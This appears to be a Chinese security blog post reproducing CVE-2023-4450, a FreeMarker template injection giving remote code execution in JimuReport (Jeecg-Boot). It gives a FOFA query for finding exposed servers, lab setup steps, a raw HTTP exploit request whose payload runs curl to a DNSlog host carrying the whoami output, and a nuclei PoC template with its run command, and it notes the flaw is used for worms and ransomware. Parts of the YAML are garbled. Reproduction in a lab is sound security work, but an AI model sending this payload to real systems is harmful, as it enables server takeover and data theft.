免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！
该漏洞已被黑客武器化，用于大规模蠕虫传播、勒索挖矿。但nuclei官方还没有提供POC。
01 漏洞名称
02 漏洞影响
JimuReport < 1.6.1
03 漏洞描述
JimuReport采用纯Web在线技术，支持多种数据源，如Oracle, MySQL, SQLServer, PostgreSQL等主流的数据库。2023年互联网上披露其存在模板注入漏洞，攻击者可构造恶意请求触发模板注入，造成远程代码执行。2023年8月15日，官方发布更新修复相关漏洞。
04 FOFA搜索语句
title="Jeecg-Boot"
05 靶场搭建
下载或更新vulhub源码
https://github.com/vulhub/vulhub将代码上传到靶场虚拟机，并解压
unzip vulhub.zip然后进入漏洞目录
cd vulhub/jeecg-boot/CVE-2023-4450启动靶场镜像
docker compose up -d
容器启动完成之后能看到有总共有三个容器
在服务启动后，可访问如下路径查看JimuReport页面。
http://192.168.40.130:8080/jeecg-boot/jmreport/list
06 漏洞复现
这个漏洞没有回显，利用DNSlog复现，先注册一个账户
http://dnslog.pw/dns
然后复制payload到下面数据包中
最终向靶场发送如下数据包
POST/jeecg-boot/jmreport/queryFieldBySqlHTTP/1.1Host: 192.168.40.130:8080User-Agent: curl/7.88.1Content-Length: 156Accept: */*Connection: closeContent-Type: application/jsonAccept-Encoding: gzip{"sql":"<#assign ex="freemarker.template.utility.Execute"?new()>${ex("curl http://ip.port.kr9dqoau.dnslog.pw/`whoami")}","type":"0"}
DNSlog看到访问记录
漏洞复现成功
07 nuclei poc
poc文件内容如下
id: CVE-2023-4450info:name:Jeecg-Boot JimuReport queryFieldBySql 模板注入漏洞author:fgzseverity:criticaldescription:JimuReport采用纯Web在线技术，支持多种数据源，如Oracle, MySQL, SQLServer, PostgreSQL等主流的数据库。2023年互联网上披露其存在模板注入漏洞，攻击者可构造恶意请求触发模板注入，造成远程代码执行。metadata::1:title="Jeecg-Boot"verified:truerequests:raw:|+POST/jeecg-boot/jmreport/queryFieldBySql HTTP/1.1Host:{{Hostname}}:curl/7.88.1Accept:*/*:application/json:121Connection:close{:"<#assign ex="freemarker.template.utility.Execute"?new()>${ex("curl {{interactsh-url}}")}",:"0"}matchers:type: dsldsl:contains(interactsh_protocol, "dns")condition:and
运行POC
nuclei.exe -t mypoc/cve/CVE-2023-4450.yaml -u http://192.168.40.130:8080/
08 修复建议
升级到最新版本。
原文始发于微信公众号（AI与网安）：CVE-2023-4450
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论